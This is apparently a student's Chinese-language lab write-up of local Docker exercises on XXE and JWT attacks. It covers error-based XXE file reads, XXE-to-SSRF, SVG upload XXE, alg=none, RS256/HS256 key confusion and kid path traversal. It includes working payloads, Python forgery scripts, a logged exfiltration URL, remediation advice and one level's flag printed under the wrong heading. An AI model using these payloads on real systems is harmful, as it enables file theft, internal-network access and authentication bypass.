第一行把文件读进 %file;第二行用 %(就是 %,直接写会被当引用)造出一个新实体 %exfil,它的 URL 里嵌了 %file;;后两行依次触发,%exfil; 被引用时解析器就去请求那个 URL。

L3 · 盲打 · 报错型

不回显内容,也不许出网。目标还是 /flag,只能靠报错把内容带出来。

容器里放了一个「本地 DTD」:/usr/share/xml/xxe-lab.dtd(镜像自带,模拟系统 DTD)。 试试用 file:// 把它引进来。

踩坑提醒:把构造 payload 的那几句直接写进 内部子集是不行的。 XML 规范禁止在内部子集的实体声明值里引用参数实体,libxml 会报 PEReferences forbidden in internal subset,链子根本搭不起来。

提交

<?xml version="1.0"?>
<!DOCTYPE r [
<!ENTITY % remote SYSTEM "file:///usr/share/xml/xxe-lab.dtd">
%remote;
]>
<r>x</r>

回显

Warning: DOMDocument::loadXML(): Invalid URI: file:///nope/FLAG{xxe_file_read_3f7a} in Entity, line: 2 in /var/www/html/l3.php on line 28

容器里那个 xxe-lab.dtd 干的事:读 /flag → 造一个“SYSTEM 指向 /nope/”的实体 → 引用它 → 加载失败 → 错误信息里原样带上路径。路径里就是 flag。

L4 · 数据源导入(XXE → SSRF)

目标:内网服务 http://internal/admin.php。 你在宿主机上 curl 不到它 —— 试试就知道了,DNS 都不解析。

代码里的 preg_match('#^https?://#i', $url) 只约束填的那个 URL,管不住 XML 里面的实体。先直接贴 XML :

<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY ssrf SYSTEM "http://internal/admin.php">]>
<r>&ssrf;</r>

返回

FLAG{xxe_ssrf_internal_9c1d}

L5 · 头像上传(SVG)

将

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="10" y="20">&xxe;</text>
</svg>

存成svg上传就可以得到flag

校验只看后缀,image/svg+xml 也确实是图片类型 —— 但它是 XML 文档。服务端为了生成预览把它 loadXML 了一遍,XXE 就在这一步触发。文件还会留在 uploads/ 下,成了证据。

修复

不传 LIBXML_NOENT/LIBXML_DTDLOAD,只加 LIBXML_NONET,返回(文本为空 —— 外部实体没有被加载,这正是我们要的结果)

解析前拒 DOCTYPE(最省事)> 不传 NOENT(实体不展开)> 只加 NONET(挡网络不挡 file://)。

  1. 解析前拒绝 DOCTYPE:stripos($xml, '<!DOCTYPE') !== false 就直接打回。业务不需要 DTD 时最省事,safe.php 里可勾选验证
  2. 不传 LIBXML_NOENT / LIBXML_DTDLOAD:实体不展开,页面只会看到 &xxe; 字面量
  3. 加 LIBXML_NONET:只挡网络请求(外带、SSRF),file:// 照样能读,单独用不够
  4. 更彻底的是换解析方式和收窄输入:只收 JSON、限制 XML 的 schema、用不支持 DTD 的解析器

实测结论#

环境:php:8.1-apache,libxml 2.9.14。

1. PHP 8.1 上 XXE 照样能用。 网上「PHP 8 之后外部实体默认关闭」的说法有歧义:默认关闭指的是不传 LIBXML_NOENT 的情况。 代码里一旦写了 loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD),file:// 照读、http:// 照请求 —— 五关全通就是证据。 反过来,safe.php 里只传 LIBXML_NONET 不传 NOENT,同一个 payload 文本直接为空,实体没被展开。

2. 报错型 payload 不能写在内部子集里。 这条不是玄学,是 XML 规范:内部子集的实体声明值里不允许出现参数实体引用。libxml 直接报

PEReferences forbidden in internal subset in Entity

所以 L3 一开始打算「内部子集里拼 %file;」的思路完全走不通,必须把 DTD 放到外部 (file:// 本地 DTD,或 http:// 远程 DTD)。

3. 盲打外带会被 URI 校验拦下来。 evil.dtd 里把文件内容拼进 URL 后,libxml 会校验这个 URI:

Invalid URI: http://host:9999/collect?d=FLAG{xxe_file_read_3f7a}
  • { } 是非法 URI 字符 → 请求根本发不出去
  • 文件末尾的换行同理,URL 里混进裸 \n 也是非法

所以 L2 的目标文件 /flag_blind 特意做成不带花括号、不带换行的一串 token。 真实环境里盲打配置文件时也是这个坑,处理办法是挑内容干净的文件,或者改用 L3 那种报错外带。

4. 接收端不能随便回包。 libxml 会把外带请求的响应体当成实体内容继续解析。回 ok 会报

internal error: xmlParseInternalSubset: error detected in Markup declaration

整个 loadXML 返回 false(数据已经出去了,但解析失败)。回空体(Content-Length: 0)就正常。 L2 本来就是盲的,解析失败不影响战果 —— 但这个细节会让人误以为 payload 写错了。

5. (string)$simplexml 只取根节点的直属文本。 <order><item>flag</item></order> 强转字符串拿到的是空串,不是 flag。 L1 里必须遍历子节点。顺带一提:这也解释了很多站点「明明是 XXE 却不回显」。

6. host.docker.internal 在 macOS 上映射到 192.168.65.254。 容器侧访问宿主机的任意监听端口都通(不限于常用端口,随机高位端口实测可以)。 容器必须绑 0.0.0.0,绑 127.0.0.1 容器进不来。

7. 内网隔离靠的是「没映射端口」,不是代码里的 IP 检查。 internal/admin.php 里的来源 IP 白名单形同虚设 —— XXE 让 web 容器去请求它, 来源天然是内网地址,检查直接通过。真实内网服务也是这个逻辑。


JWT自包含令牌#

“自包含”这个说法,是和传统 Session 相对立的。Session 的做法是:服务端存一份记录,客户端只拿一个编号去兑换;JWT 的做法是:服务端什么都不存,你把整份身份证明带在身上。

“自包含”的代价是:服务端不再有状态,只剩一把签名校验的锁。因此,整个 JWT 的安全性都取决于这一点,也由此产生了 JWT 的全部安全问题。

建靶场#

共同目标:拿出 role=admin 的令牌,读走对应的 flag。唯一能登录的账号是 alice / alice123(普通用户)。

Terminal window
./setup.sh # 构建并启动
docker compose down # 停止
docker compose logs -f web # 看 Apache 日志
  • 地址:http://127.0.0.1:8898/
  • flag:flags/l1.flag ~ flags/l4.flag,分别挂到容器里的 /flag_l1 ~ /flag_l4

目录

jwt/
├── Dockerfile # 禁掉 keys/ 的 Web 访问 + 打开 display_errors
├── compose.yml # 镜像、端口、flag 挂载、启动时修权限
├── setup.sh
├── flags/ # 四个 flag
├── src/
│ ├── index.php # 导航
│ ├── l1~l4.php # 四关
│ ├── safe.php # 修复对照
│ ├── pub.pem # L3 的公钥,故意可下载
│ ├── keys/
│ │ ├── default.key # L4 的正常密钥
│ │ └── rsa_private.pem
│ ├── inc/jwt.php # Base64URL + 签名(手搓,不用库)
│ ├── inc/common.php # 账号、flag 读取、页面骨架
│ └── style.css
└── poc/jwt_exp.py

建靶场时踩的坑

1. 私钥 600 导致 openssl_sign 静默签出空签名。 宿主机上 openssl genpkey 生成的是 -rw-------,bind mount 进容器后保留权限位, Apache 以 www-data 运行读不到。openssl_sign 失败时不抛异常,$rawsig 就是空的, 令牌长得完全正常、只是签名段为空。 现在的处理:compose.yml 的 command 在拉起 Apache 前先 chmod 644, l3.php 里也加了 openssl_sign 的返回值检查。 顺带一道真实教训:密钥放在 web 根目录下本身就不对,所以 keys/ 整目录被 Apache 拒掉(403)。

2. $ok = openssl_verify(...) === 1 之后又 if ($ok !== 1)。 === 把 int 转成了 bool,true !== 1 恒为 true,于是对照页对任何令牌都报「签名校验失败」。 这种 bug 的表现很有迷惑性:攻击确实被挡住了,看着像「防护生效」,其实是逻辑写错。 定位方法是拿同一份令牌分别走 CLI 和 HTTP —— CLI 里 openssl_verify 返回 1、HTTP 却报失败, 说明差异在输入或比较,不在密码学。

L1 · 弱密钥

后台管理系统的登录入口。用 alice / alice123 登进来,看看你的令牌里写了什么

const SECRET = 'secret'。爆破方法是拿每个候选词算一次 HMAC-SHA256, 和令牌签名段做常量时间比较。HS256 的密钥是口令长度,就可以像撞库一样反复尝试:对每个候选词算一遍 HMAC,哪个和令牌第三段对上,哪个就是密钥。

tok = login("/l1.php")
h, p, s = tok.split(".")
for w in ["secret", "123456", "password", "admin", "jwt", "changeme", "root", "test"]:
if sign(h + "." + p, w.encode()) == s:
secret = w
break
pay = b64d(p)
pay["role"] = "admin"
np = b64u(json.dumps(pay, separators=(",", ":")).encode())
print(get("/l1.php", f"{h}.{np}.{sign(h + '.' + np, secret.encode())}"))

运行结果

FLAG{jwt_l1_secret_was_just_secret} (爆破出密钥 secret='secret',自己签了 role=admin)

拿到密钥后,你签出来的令牌和服务端签的没有任何区别,因为 HMAC 是对称的。

L2 · alg

同一个后台,但这次的密钥是随机长串,爆破这条路走不通。 注意服务端是从令牌里读 alg 的 —— 它凭什么相信你?

漏洞点

$alg = jwt_header($token)['alg'] ?? 'HS256';
if ($alg === 'none') {
$who = jwt_payload($token); // 直接当已验签
}

服务端把“用什么算法验”的决定权交给了令牌本身。你把 alg 写成 none,它就不验了。

tok = login("/l2.php")
_, p, _ = tok.split(".")
pay = b64d(p)
pay["role"] = "admin"
h = b64u(b'{"alg":"none","typ":"JWT"}')
np = b64u(json.dumps(pay, separators=(",", ":")).encode())
forged = h + "." + np + "." # 第三段空串,点号要留着
print(get("/l2.php", forged))

签名段要留一个空串,不能把点号删掉(explode 后第三段不存在,PHP 读到 ” 也能过);payload 的内容一个字都没被校验过,你甚至可以塞 role: “admin” 以外任意字段。

FLAG{jwt_l3_rs256_to_hs256_confusion} (RS256→HS256,HMAC 密钥用的是 451 字节的 pub.pem)

L3 · 算法混淆

这次是「更安全」的 RS256:私钥签、公钥验,签名伪造不了。 公钥在这里:pub.pem(本来就该公开,不然别人怎么验签?)但服务端拿它当 HMAC 密钥用,等于把签名权发出去了。

漏洞点

if ($alg === 'HS256') {
$ok = hash_equals(sign_hs256($input, $pub), $s); // $pub 就是 pub.pem 的文本
}
tok = login("/l3.php")
_, p, _ = tok.split(".")
pay = b64d(p)
pay["role"] = "admin"
pub = urlopen(B + "/pub.pem").read() # 451 字节,一字不差
h = b64u(b'{"alg":"HS256","typ":"JWT"}')
np = b64u(json.dumps(pay, separators=(",", ":")).encode())
print(get("/l3.php", f"{h}.{np}.{sign(h + '.' + np, pub)}"))

多一个换行、少了结尾的 \n,HMAC 结果就完全不同。所以别手工复制粘贴 PEM,用 urlopen 读回来的原始字节。

L4 kid 注入

支持多租户之后,密钥不再写死在代码里,而是按 kid(Key ID)去 keys/ 目录下取对应的密钥文件。

目录里现在只有一个 default.key。

漏洞点

$kid = jwt_header($token)['kid'] ?? 'default';
$keyfile = __DIR__ . '/keys/' . $kid;
$key = @file_get_contents($keyfile);

kid 是客户端可控的字符串,直接拼进路径。往上爬四层到 /,读 dev/null。

tok = login("/l4.php")
_, p, _ = tok.split(".")
pay = b64d(p)
pay["role"] = "admin"
h = b64u(json.dumps({"alg": "HS256", "typ": "JWT", "kid": "../../../../dev/null"},
separators=(",", ":")).encode())
np = b64u(json.dumps(pay, separators=(",", ":")).encode())
print(get("/l4.php", f"{h}.{np}.{sign(h + '.' + np, b'')}"))

为什么是四层:容器里 DIR 是 /var/www/html,拼出来是 /var/www/html/keys/../../../../dev/null,规范化后正好 /dev/null。选它是因为一定存在、一定可读、内容为空 —— 而空字符串恰好是 hash_hmac 能接受的密钥。


结论#

才开始刷web的面试题就遇到了好多困难,看来还是不能急于求成,再沉淀一下先。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Profile Image of the Author
LYH
LYH,安全方向的在校学生。方向集中在 Web 安全和密码学——Web 这边从 webshell 识别、文件包含到注入类题目都在练,密码学在啃 RSA 和格密码相关的内容,逆向和网络也有涉猎。日常工具链是 Mac + Docker。欢迎交流学习!
公告
欢迎来到我的博客!这里展示我的学习过程与结果。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
站点统计
文章
52
分类
20
标签
32
总字数
311,598
运行时长
0 天
最后活动
0 天前

文章目录